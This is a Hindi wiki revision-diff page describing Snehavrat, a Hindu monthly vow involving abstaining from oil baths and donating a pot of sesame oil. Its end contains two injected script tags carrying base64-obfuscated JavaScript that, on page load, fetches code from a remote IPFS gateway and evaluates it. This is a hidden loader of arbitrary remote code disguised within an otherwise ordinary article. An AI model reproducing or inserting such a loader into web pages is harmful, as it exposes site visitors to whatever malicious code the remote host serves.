शिल्पी गोयल (वार्ता | योगदान) छो (स्नेहव्रत का नाम बदलकर स्नेह व्रत कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
||
पंक्ति 6: | पंक्ति 6: | ||
*अन्त में [[तिल]] के [[तेल]] से पूर्ण एक घट का दान करना चाहिए। | *अन्त में [[तिल]] के [[तेल]] से पूर्ण एक घट का दान करना चाहिए। | ||
*ऐसी मान्यता है कि इससे लोगों का स्नेह मिलता है।<ref>हेमाद्रि (व्रत 2, 818, [[पद्म पुराण]] से उद्धरण)</ref> | *ऐसी मान्यता है कि इससे लोगों का स्नेह मिलता है।<ref>हेमाद्रि (व्रत 2, 818, [[पद्म पुराण]] से उद्धरण)</ref> | ||
{{प्रचार}} | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार=आधार1 | |आधार=आधार1 |
13:57, 10 जनवरी 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- स्नेहव्रत मास व्रत है।
- स्नेहव्रत में देवता की पूजा की जाती है।
- ऐसी मान्यता है कि आषाढ़ से लेकर चार मासों में तेल के साथ स्नान का त्याग करना चाहिए
- केवल पायस एवं घी का सेवन करना चाहिए।
- अन्त में तिल के तेल से पूर्ण एक घट का दान करना चाहिए।
- ऐसी मान्यता है कि इससे लोगों का स्नेह मिलता है।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रत 2, 818, पद्म पुराण से उद्धरण)
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>